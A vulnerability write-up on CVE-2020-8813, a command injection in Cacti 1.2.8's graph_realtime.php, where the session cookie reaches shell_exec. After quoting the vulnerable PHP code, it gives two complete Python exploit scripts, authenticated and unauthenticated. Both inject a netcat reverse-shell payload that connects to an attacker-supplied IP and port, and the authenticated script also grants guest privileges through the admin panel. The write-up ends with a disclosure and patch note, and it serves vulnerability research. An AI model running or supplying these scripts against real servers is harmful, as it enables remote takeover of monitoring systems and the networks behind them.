Summary about Cacti
Cacti is a complete network graphing solution designed to harness the power of RRDTool’s data storage and graphing functionality. Cacti provides a fast poller, advanced graph templating, multiple data acquisition methods, and user management features out of the box.
About the Exploit
The vulnerability occurs when an attacker injects malicious code in the “Cacti” cookie variable which is passed to the shell_exec function after being concatenated with strings. Authentication can be bypassed by accessing the vulnerable page graph_realtime.php as a “Guest” user with appropriate privileges enabled.
Vulnerable Code
The vulnerable code exists in the graph_realtime.php file. The code retrieves the session ID and concatenates it directly into a command that is passed to shell_exec:
/* call poller */
$graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';
$command = read_config_option('path_php_binary');
$args = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);
shell_exec("$command $args");
As we can see, the session_id() value is concatenated directly into the command string that gets passed to shell_exec. While the local_graph_id parameter is filtered through get_request_var(), the session ID remains unvalidated and exploitable.
get_request_var Function
The get_request_var function is used to retrieve and validate request variables:
function get_request_var($name, $default = '') {
global $_CACTI_REQUEST;
$log_validation = read_config_option('log_validation');
if (isset($_CACTI_REQUEST[$name])) {
return $_CACTI_REQUEST[$name];
} elseif (isset_request_var($name)) {
if ($log_validation == 'on') {
html_log_input_error($name);
}
set_request_var($name, $_REQUEST[$name]);
return $_REQUEST[$name];
} else {
return $default;
}
}
set_request_var Function
function set_request_var($variable, $value) {
global $_CACTI_REQUEST;
$_CACTI_REQUEST[$variable] = $value;
$_REQUEST[$variable] = $value;
$_POST[$variable] = $value;
$_GET[$variable] = $value;
}
get_filter_request_var Function
The get_filter_request_var function applies various filters to request variables, providing input validation:
function get_filter_request_var($name, $filter = FILTER_VALIDATE_INT, $options = array()) {
if (isset_request_var($name)) {
if (isempty_request_var($name)) {
set_request_var($name, get_nfilter_request_var($name));
return get_request_var($name);
} elseif (get_nfilter_request_var($name) == 'undefined') {
if (isset($options['default'])) {
set_request_var($name, $options['default']);
return $options['default'];
} else {
set_request_var($name, '');
return '';
}
} else {
if (get_nfilter_request_var($name) == '0') {
$value = '0';
} elseif (get_nfilter_request_var($name) == 'undefined') {
if (isset($options['default'])) {
$value = $options['default'];
} else {
$value = '';
}
} elseif (isempty_request_var($name)) {
$value = '';
} elseif ($filter == FILTER_VALIDATE_IS_REGEX) {
if (is_base64_encoded($_REQUEST[$name])) {
$_REQUEST[$name] = utf8_decode(base64_decode($_REQUEST[$name]));
}
$valid = validate_is_regex($_REQUEST[$name]);
if ($valid === true) {
$value = $_REQUEST[$name];
} else {
$value = false;
$custom_error = $valid;
}
} elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_ARRAY) {
$valid = true;
if (is_array($_REQUEST[$name])) {
foreach($_REQUEST[$name] AS $number) {
if (!is_numeric($number)) {
$valid = false;
break;
}
}
} else {
$valid = false;
}
if ($valid == true) {
$value = $_REQUEST[$name];
} else {
$value = false;
}
} elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_LIST) {
$valid = true;
$values = preg_split('/,/', $_REQUEST[$name], NULL, PREG_SPLIT_NO_EMPTY);
foreach($values AS $number) {
if (!is_numeric($number)) {
$valid = false;
break;
}
}
if ($valid == true) {
$value = $_REQUEST[$name];
} else {
$value = false;
}
} elseif (!cacti_sizeof($options)) {
$value = filter_var($_REQUEST[$name], $filter);
} else {
$value = filter_var($_REQUEST[$name], $filter, $options);
}
}
if ($value === false) {
if ($filter == FILTER_VALIDATE_IS_REGEX) {
$_SESSION['custom_error'] = __('The search term "%s" is not valid. Error is %s', html_escape(get_nfilter_request_var($name)), html_escape($custom_error));
set_request_var($name, '');
raise_message('custom_error');
} else {
die_html_input_error($name, get_nfilter_request_var($name));
}
} else {
set_request_var($name, $value);
return $value;
}
} else {
if (isset($options['default'])) {
set_request_var($name, $options['default']);
return $options['default'];
} else {
return;
}
}
}
While get_filter_request_var provides filtering for regular request parameters like local_graph_id, the session_id() function returns the value of the session cookie directly, bypassing all of these input validation mechanisms.
Accessing graph_realtime.php
The graph_realtime.php page requires authentication by default. However, if the “Guest” user account has the “Realtime Graphs” privilege enabled, the page becomes accessible without authentication.

Without the appropriate privilege, accessing the page as a guest returns an access denied error:

Once the “Realtime Graphs” privilege is enabled for the guest user, the page becomes accessible:

Session Injection and Payload Construction
The key insight of this exploit is that the PHP session_id() function returns the value of the session cookie, which in this case is named “Cacti”. Since the session ID value is concatenated directly into the command string passed to shell_exec, we can inject arbitrary OS commands by manipulating the cookie value.
However, constructing the payload requires careful consideration. Session values with special characters may cause PHP to regenerate the session, so we need to use “session-friendly” characters. The solution is to use bash variable substitution to avoid spaces – the ${IFS} bash variable represents the Internal Field Separator (which defaults to a space).
The payload format becomes:
;nc${IFS}-e${IFS}/bin/bash${IFS}<ip>${IFS}<port>
This payload:
- Uses
;to terminate the previous command - Uses
${IFS}instead of spaces to separate arguments - Executes
nc -e /bin/bash <ip> <port>to establish a reverse shell


The payload needs to be URL-encoded for transmission in the cookie header:



Sending the crafted request results in command execution:

Exploit Code - Authenticated Version
The authenticated exploit performs the following steps:
- Retrieves a CSRF token from the login page
- Authenticates with the provided credentials
- Enables the “Guest Realtime Graphs” privilege via the user admin panel
- Sends a malicious request with the crafted session cookie to
graph_realtime.php
#!/usr/bin/python3
# Exploit Title: Cacti v1.2.8 Remote Code Execution
# Date: 03/02/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33
import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
if len(sys.argv) != 6:
print("[~] Usage : ./Cacti-exploit.py url username password ip port")
exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
def login(token):
login_info = {
"login_username": username,
"login_password": password,
"action": "login",
"__csrf_magic": token
}
login_request = request.post(url+"/index.php", login_info)
login_text = login_request.text
if "Invalid User Name/Password Please Retype" in login_text:
return False
else:
return True
def enable_guest(token):
request_info = {
"id": "3",
"section25": "on",
"section7": "on",
"tab": "realms",
"save_component_realm_perms": 1,
"action": "save",
"__csrf_magic": token
}
enable_request = request.post(url+"/user_admin.php?header=false", request_info)
if enable_request:
return True
else:
return False
def send_exploit():
payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
cookies = {'Cacti': quote(payload)}
requests.get(url+"/graph_realtime.php?action=init", cookies=cookies)
request = requests.session()
print("[+]Retrieving login CSRF token")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content, "html5lib")
token = soup.findAll('input')[0].get("value")
if token:
print("[+]Token Found : %s" % token)
print("[+]Sending creds ..")
login_status = login(token)
if login_status:
print("[+]Successfully LoggedIn")
print("[+]Retrieving CSRF token ..")
page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms")
html_content = page.text
soup = BeautifulSoup(html_content, "html5lib")
token = soup.findAll('input')[1].get("value")
if token:
print("[+]Making some noise ..")
guest_realtime = enable_guest(token)
if guest_realtime:
print("[+]Sending malicous request, check your nc ;)")
send_exploit()
else:
print("[-]Error while activating the malicous account")
else:
print("[-] Unable to retrieve CSRF token from admin page!")
exit()
else:
print("[-]Cannot Login!")
else:
print("[-] Unable to retrieve CSRF token!")
exit()

Exploit Code - Unauthenticated Version
If the “Guest Realtime Graphs” privilege is already enabled, the exploit can be executed without authentication:
#!/usr/bin/python3
# Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution
# Date: 03/02/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33
import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
if len(sys.argv) != 4:
print("[~] Usage : ./Cacti-exploit.py url ip port")
exit()
url = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]
def send_exploit(url):
payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
cookies = {'Cacti': quote(payload)}
path = url+"/graph_realtime.php?action=init"
req = requests.get(path)
if req.status_code == 200 and "poller_realtime.php" in req.text:
print("[+] File Found and Guest is enabled!")
print("[+] Sending malicous request, check your nc ;)")
requests.get(path, cookies=cookies)
else:
print("[+] Error while requesting the file!")
send_exploit(url)

PHP Version Note
In PHP 7.2 and higher the exploit may not work as expected because PHP will strip any special characters from the cookie value including the one we used before.
Disclosure
The vulnerability was communicated to the Cacti development team. A patch has been released in Cacti version 1.2.10.
CVE ID: CVE-2020-8813 Affected Version: Cacti v1.2.8 Tested Platform: CentOS 7.3 / PHP 7.1.33